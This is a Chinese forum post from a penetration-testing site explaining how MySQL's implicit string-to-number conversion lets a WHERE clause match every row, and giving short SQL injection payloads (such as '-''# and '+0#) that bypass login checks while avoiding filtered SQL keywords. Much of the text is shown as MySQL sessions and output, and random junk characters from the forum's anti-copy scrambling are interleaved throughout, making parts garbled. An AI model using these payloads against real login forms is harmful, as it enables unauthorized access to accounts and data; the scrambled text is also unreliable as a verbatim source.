中国网络渗透测试联盟

标题: 使用MySQL字符串运算实施精巧化SQL注入攻击 [打印本页]

作者: admin    时间: 2013-11-23 16:20
标题: 使用MySQL字符串运算实施精巧化SQL注入攻击
我们先来看这样一个场景。
( I6 Z; Y" c( b0 e  ^+ p/ M有以下表结构: . G% U7 F4 M; d% O

) L9 _. s: d' |% emysql> desc admin;
9 V# Y( Q# \0 E- R) V4 `6 H+----------+--------------+------+-----+---------+----------------+
: o# ~1 O* ]5 \6 I8 Y# h| Field    | Type         | Null | Key | Default | Extra          |" d" `) c1 j: y" N1 `' d
+----------+--------------+------+-----+---------+----------------+
$ w0 \6 {1 o* G| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
" K6 X* O/ I5 o+ p, f| name     | char(32)     | NO   | UNI | NULL    |                |/ @3 L/ F7 ?% W8 t/ ~, m1 {
| password | char(32)     | NO   | UNI | NULL    |                |
% J( m% z3 V6 M1 J, j$ Z2 e$ S+----------+--------------+------+-----+---------+----------------+6 W. j, d  j% L% P  |3 r
3 rows in set (0.00 sec)0 p$ w" V) E! @
执行select * from admin;,成功返回所有记录内容。
$ O9 V4 ]& u) D: X
2 m- ]+ t* f) I& }/ w8 a: O3 q
( w: Y! m) g& G$ {% e+----+--------+----------------------------------+4 I0 h1 E( J4 Y  q0 r
| id | name   | password                         |
5 y0 P  T7 X' ?+----+--------+----------------------------------+. \% U$ q5 l' D! {! u+ b
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
- d- V' u& a1 `3 i% V/ K+ s( P8 l|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
# Y; E6 p8 Z# ]* U( q. Y/ {. F% q|  4 | n00b   | ff80e8508d39047460921792273533a4 |2 ~( ], d6 {6 x& }: N
+----+--------+----------------------------------+
1 }& E0 N# C5 S/ E! @9 R) G; j3 rows in set (0.00 sec)) r) b5 |6 ]; m% p( b
执行select * from admin where name=”;,没有匹配到任何记录。
( \+ J0 W5 e, Y) N/ B9 L: B, {
4 K) i- \% g  G4 [mysql> select * from admin where name = '';' E9 T6 H4 u3 R) s% L
Empty set (0.00 sec)
; M0 n. I8 D3 n$ }) }那么我们来执行select * from admin where name = ”-”;
) N) z$ }' _. T) A
% [7 }" k# P9 Q: O0 ^
$ E( a  g& ~3 X& E0 a/ a7 H! V& K+----+--------+----------------------------------+
/ E% B% U/ ]0 \  o: [| id | name   | password                         |
7 {: u8 O; L) H. {+----+--------+----------------------------------+. s5 ^" o. ?  g! z8 y$ t& w
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
" i( c. p5 d1 h8 y* m  `|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
& H* M5 T& f% }  x: i# B/ R" n|  4 | n00b   | ff80e8508d39047460921792273533a4 |: e) M  e6 [* J* R
+----+--------+----------------------------------+8 S8 o% ^2 j/ I7 ^
3 rows in set, 3 warnings (0.00 sec)
% o6 C9 _( K- Q/ e# I可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: / N  t6 p- v" [" I7 \# B0 z3 F3 B
/ g2 K' g% z' P) R3 t0 E/ _
mysql> show warnings;, w: U7 `8 A- E) d, M8 A0 g) r
+---------+------+------------------------------------------
2 S7 |$ v2 Q+ N2 k6 Q9 `| Level   | Code | Message
# l* p. R* l8 n/ |; k9 p% c* A+ ~; ?+---------+------+------------------------------------------
. Q) l2 P* v) v1 l: n" J| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
9 w% y1 u6 w7 `+ g0 s3 @/ @| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
) C% y( V1 I! u, g$ o9 j| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b2 H' }4 [, l* O) E. a! ~5 ]: g$ m
+---------+------+------------------------------------------  W0 d# \" c4 q
3 rows in set (0.00 sec); E: w4 d' M. ^* \! m+ p, G* |
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 ( T3 a: R2 o9 U; j* L, J* K
6 K0 F6 Z  C: r6 h, g7 @+ [- o- M
mysql> select ''-'';% l9 C1 ?* b8 C1 l# C. D
+-------+3 }7 A! d" Y1 i, H( f, A# V- |
| ''-'' |
8 u8 q5 a/ ~7 k: Y/ y+-------++ J" s( d2 c4 Y+ J& P+ \
|     0 |# u! `) b. U% {# [+ R; S9 G" Y. F7 {
+-------+
2 Q$ T6 Q2 Z/ a/ y. L4 Z2 q( p6 S1 row in set (0.00 sec)
$ O$ Y9 _; u3 A! A0 P* V- F返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: ' O7 m5 P$ c4 H; A

! \1 n4 e) J$ U" _; Y0 bmysql> select CAST((select name from admin limit 1,1) as DECIMAL);% U' U# \7 f7 r3 c3 H
+-----------------------------------------------------+
% B- h1 H5 n$ F- o" h| CAST((select name from admin limit 1,1) as DECIMAL) |2 w+ s2 f6 h. T" K6 G
+-----------------------------------------------------+
1 `, [8 A7 ]' F9 @|                                                   0 |% l; L, @) ~& C* |6 Y
+-----------------------------------------------------+5 M1 ]7 T$ I, W. }1 S. x
1 row in set, 1 warning (0.00 sec)
! J6 \. p% a4 B0 i8 \因此where语句构成了相等的条件,where 0=”=”,记录被返回。
" w& U. C& t- A% _& f" c6 H. ~: ~4 k6 d* d( e2 S# X
SQL注入场景: http://www.sqlzoo.net/hack/
6 U( @; y: X/ W1 l6 L! ?4 ?, i; x4 h/ W
- l3 p( ]* A* f+ h( B
( m( s! q$ |. f+ v8 R9 v9 x2 r0 S

5 e# p3 i9 g7 b如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
( e, q7 E, _# T  ]1 S3 i
$ F& v. h1 ~0 l8 G% m那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 3 L/ ^; q) a! w( b  M0 x

. k3 R: g7 o# w, g% ^- ?0 S) h: G* ]5 l" c' w) T

* S2 n8 w( ^  ~4 y9 @/ L  Z, v1 |  C; K2 t( H9 r
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 . r/ B6 V2 r) }- B! s9 I
4 ]* G7 ?- ]" P% v
   
- }. ]) q+ k+ Y) M  v' _9 Z# P+ R& w
2 V% z0 U3 r! V除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可" @. E! L# [& F/ o
" Z; ?0 j( g& t1 U
1 X- e/ P  c/ l  o' w1 p+ D% c
mysql> select ''/1;
; z7 }2 p% m9 G' ?5 |+------+
7 k" j7 h* M1 R' T/ }4 X| ''/1 |
& U" [$ C/ P2 l4 n+------+
! a9 b1 X7 }$ S' o! Z|    0 |, A6 A% V& b/ [. d. Z  O
+------+) e) g1 o( m+ i6 P4 k
1 row in set (0.00 sec)
: M  q! K& e- J8 K4 u类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
5 h' l9 J; l7 ^5 R  t- @$ p5 k' v* ^/ w+ z2 @  ?
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。' L; y$ ~/ A2 ?( d# x3 L" [  N





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2